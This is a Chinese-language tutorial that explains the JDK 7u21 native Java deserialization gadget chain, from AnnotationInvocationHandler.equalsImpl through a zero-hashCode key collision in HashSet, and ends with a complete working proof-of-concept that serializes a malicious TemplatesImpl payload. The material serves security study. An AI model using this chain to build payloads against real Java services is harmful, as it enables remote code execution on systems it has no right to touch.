JDK 7U21 Gadget
问题
前面的文章中介绍的都是利用第三方库的反序列化利用链。没有合适的第三方库存在时,Java 反序列化是否还能利用。
首先,存在不依赖第三方库的 Java 反序列化利用链,但是,Java 新版本没有这样的问题。
1 原理
JDK7u21 的核心点是 sun.reflect.annotation.AnnotationInvocationHandler
,这个类在之前的分析中提到过。在 AnnotationInvocationHandler
类中有个 equalsImpl
方法:

反射调用:memberMethod.invoke(o)
,而 memberMethod
来自于 this.type.getDeclaredMethods()
。

也就是说, equalsImpl
这个方法是将 this.type
类中的所有方法遍历并执行了。那么,假设 this.type
是 Templates
类,则势必会调用到其中的 newTransformer()
或 getOutputProperties()
方法,进而触发任意代码执行。这就是 JDK7u21 的核心原理。
2 构造
现在的思路就是通过反序列化调用 equalsImpl
, equalsImpl
是一个私有方法,在 AnnotationInvocationHandler#invoke
中被调用:

InvocationHandler
是一个接口,只有一个方法就是 invoke
。
前面的文章提到过,在使用 java.reflect.Proxy
动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到 InvocationHandler#invoke
。执行 invoke
时,被传入的第一个参数是这个 proxy
对象,第二个参数是被执行的方法名,第三个参数是执行时的参数列表。
而 AnnotationInvocationHandler
就是一个 InvocationHandler
接口的实现,它的 invoke
方法:

可见,当方法名等于 equals
,且仅有一个 Object
类型参数时,会调用到 equalImpl
方法。 所以,现在的问题变成,找到一个方法,在反序列化时对 proxy
调用 equals
方法。
3 调用链
在比较 Java 对象时,常用到两种方法:
任意 Java 对象都拥有 equals
方法,它通常用于比较两个对象是否是同一个引用。另一个常见的会调用 equals
的场景就是集合 set
。set
中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作。
HashSet 的 readObject 方法:

这里使用了一个 HashMap,将对象保存在 HashMap 的 key 处来做去重。
跟进 HashMap 的 put 方法:

变量 i
就是哈希值。两个不同的对象的 i
相等时,才会执行到 key.equals(k)
,触发前面说过的代码执行。
接下来的思路就是为了让 proxy 对象的哈希,等于 TemplateImpl 对象的哈希。
计算哈希的主要是下面这两行代码:
1
2
|
int hash = hash(key);
int i = indexFor(hash, table.length);
|
将其中的关键逻辑提取出来,可以得到下面这个函数:
1
2
3
4
5
6
7
|
public static int hash(Object key) {
int h = 0;
h ^= key.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
h = h ^ (h >>> 7) ^ (h >>> 4);
return h & 15;
}
|
除了 key.hashCode()
外再没有其他变量,所以 proxy
对象与 TemplateImpl
对象的哈希是否相等,仅取决于这两个对象的 hashCode()
返回值是否相等。TemplateImpl
的 hashCode()
是一个Native 方法,每次运行都会发生变化,理论上是无法预测的,所以想让 proxy
的 hashCode()
与之相等,只能通过 proxy.hashCode()
。
proxy.hashCode()
仍然会调用到 AnnotationInvocationHandler#invoke
,进而调用到 AnnotationInvocationHandler#hashCodeImpl
,跟进这个方法:

遍历这个 Map 中的每个 key 和 value,计算每个 (127 * key.hashCode()) ^ value.hashCode()
并求和。
JDK7u21 中使用了一个非常巧妙的方法:
- 当
memberValues
中只有一个 key 和一个 value 时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
- 当
key.hashCode()==0
时,任何数异或 0 的结果仍是它本身,所以该哈希简化成 value.hashCode()
- 当
value
就是 TemplateImpl
时,这两个哈希就变成完全相等
因此,通过寻找一个 hashCode 是 0 的对象作为的 key,将恶意 TemplateImpl 对象作为 value,这个 proxy 计算的 hashCode 就与 TemplateImpl 对象本身的 hashCode 相等了。
找一个 hashCode 是 0 的对象,通过一个简单的爆破程序来实现:
1
2
3
4
5
6
7
8
|
public static void bruteHashCode()
{
for (long i = 0; i < 9999999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}
}
|
第一个结果是 f5a5a608
,这个也是 ysoserial 中用到的字符串。
4 总结
按照如下步骤来构造:
- 生成恶意
TemplateImpl
对象
- 实例化
AnnotationInvocationHandler
对象
- type 属性是
TemplateImpl
类
- memberValues 属性是一个 Map,Map 只有一个 key 和 value,key 是字符串 , value 是前面生成的恶意
TemplateImpl
对象
- 对这个
AnnotationInvocationHandler
对象做一层代理,生成 proxy 对象
- 实例化一个 HashSet,这个 HashSet 有两个元素,分别是:
- 将 HashSet 对象进行序列化
反序列化触发代码执行的流程如下:
- 触发 HashSet 的 readObject 方法,其中使用 HashMap 的 key 做去重
- 去重时计算 HashSet 中的两个元素的
hashCode
,通过构造二者相等,进而触发 equals()
方法
- 调用
AnnotationInvocationHandler#equalsImpl
方法
equalsImpl
中遍历 this.type
的每个方法并调用
this.type
是 TemplatesImpl
类,所以触发了 newTransform()
或 getOutputProperties()
方法
- 任意代码执行
POC 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
package main.java;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class OriginalGadgetDemo {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/7u21Gadget/src/main/java/EvilTemplatesImpl.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
String zeroHashCodeStr = "f5a5a608";
// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
// 实例化AnnotationInvocationHandler类
Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(OriginalGadgetDemo.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);
// 将恶意templates设置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
|
参考
phith0n Java 漫谈系列
Java反序列化漏洞原理解析
Java反序列化漏洞从入门到关门
从0开始学Java反序列化漏洞
深入理解 JAVA 反序列化漏洞
Java反序列化利用链补全计划
Commons-Collections 利用链分析
深入 Java 原生反序列化 & JDK7u21 利用链分析